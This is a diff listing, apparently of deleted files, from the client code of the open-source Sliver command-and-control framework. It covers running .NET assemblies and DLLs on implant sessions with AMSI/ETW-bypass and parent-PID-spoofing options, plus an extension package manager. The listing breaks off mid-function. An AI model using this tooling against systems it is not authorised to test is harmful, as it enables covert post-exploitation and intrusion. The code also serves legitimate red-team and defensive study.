// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated.
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
// if the flag is not registered.
if aliasManifest.IsAssembly {
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
if !inProcess {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
}
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
return
}
} else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
}
con.PrintWarnf(msgStr)
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName, _ := cmd.Flags().GetString("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if save, _ := cmd.Flags().GetBool("save"); save {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Flags
arch, _ := cmd.Flags().GetString("arch")
method, _ := cmd.Flags().GetString("method")
className, _ := cmd.Flags().GetString("class")
appDomain, _ := cmd.Flags().GetString("app-domain")
pPid, _ := cmd.Flags().GetUint32("ppid")
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: arch,
Method: method,
ClassName: className,
AppDomain: appDomain,
ProcessArgs: processArgs,
PPid: pPid,
InProcess: inProcess,
Runtime: runtime,
AmsiBypass: amsiBypass,
EtwBypass: etwBypass,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Flags
pPid, _ := cmd.Flags().GetUint32("ppid")
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(cmd),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
ProcessArgs: processArgs,
PPid: pPid,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
}
} else {
// Flags
pPid, _ := cmd.Flags().GetUint32("ppid")
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
ProcessArgs: processArgs,
PPid: pPid,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
filtersOS := make(map[string]bool)
filtersArch := make(map[string]bool)
var all []string
// Only add filters for architectures when there OS matters.
for _, file := range alias.Files {
filtersOS[file.OS] = true
if filtersOS[file.OS] {
filtersArch[file.Arch] = true
}
}
for os, enabled := range filtersOS {
if enabled {
all = append(all, os)
}
}
for arch, enabled := range filtersArch {
if enabled {
all = append(all, arch)
}
}
if len(all) == 0 {
return map[string]string{}
}
return map[string]string{
app.CommandFilterKey: strings.Join(all, ","),
}
}
-77
View File
@@ -1,77 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
// name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
// con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
-546
View File
@@ -1,546 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"sync"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"golang.org/x/term"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(cmd)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension) //todo: check this isn't a bug
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter() carapace.Action {
comps := func(ctx carapace.Context) carapace.Action {
var action carapace.Action
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
results = append(results, aliasPkg.CommandName)
results = append(results, aliasPkg.Help)
}
aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
results = make([]string, 0)
for _, extension := range exts {
for _, extensionPkg := range extension.ExtCommand {
results = append(results, extensionPkg.CommandName)
results = append(results, extensionPkg.Help)
}
}
extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
results = make([]string, 0)
for _, bundle := range bundles {
results = append(results, bundle.Name)
}
bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
return action.Invoke(ctx).Merge(
aliasesComps,
extentionComps,
bundleComps,
).ToA()
}
return carapace.ActionCallback(comps)
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 1
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
urlMargin := 150 // Extra margin needed to show URL column
if con.Settings.SmallTermWidth+urlMargin < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extm := range exts {
for _, extension := range extm.ExtCommand {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Manifest.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.Manifest.RepoURL,
})
}
}
sliverMenu := con.App.Menu("implant")
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
color = console.Green
}
if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL, _ := cmd.Flags().GetString("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout, _ := cmd.Flags().GetString("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
return ArmoryHTTPConfig{
IgnoreCache: ignoreCache,
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: disableTLSValidation,
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
-1
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@@ -1 +0,0 @@
package armory
-308
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@@ -1,308 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/util/minisign"
)
// ErrPackageNotFound - The package was not found
var ErrPackageNotFound = errors.New("package not found")
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0]
// name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
}
}
for _, extm := range extensions {
for _, ext := range extm.ExtCommand {
if ext.CommandName == name || name == "all" {
installExtension(ext.Manifest, clientConfig, con)
if name != "all" {
return nil
}
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
menuCmd := con.App.Menu(constants.ImplantMenu).Root()
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
if err != nil {
return err
}
return nil
}
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
for _, ext := range extm.ExtCommand {
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
for _, multiExt := range entry.Extension.ExtCommand {
if multiExt.DependsOn == "" {
continue // Avoid adding empty dependency
}
if multiExt.DependsOn == name {
continue // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[multiExt.DependsOn]; ok {
continue // Already resolved
}
if maxDepDepth < len(deps) {
continue
}
deps[multiExt.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
}
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
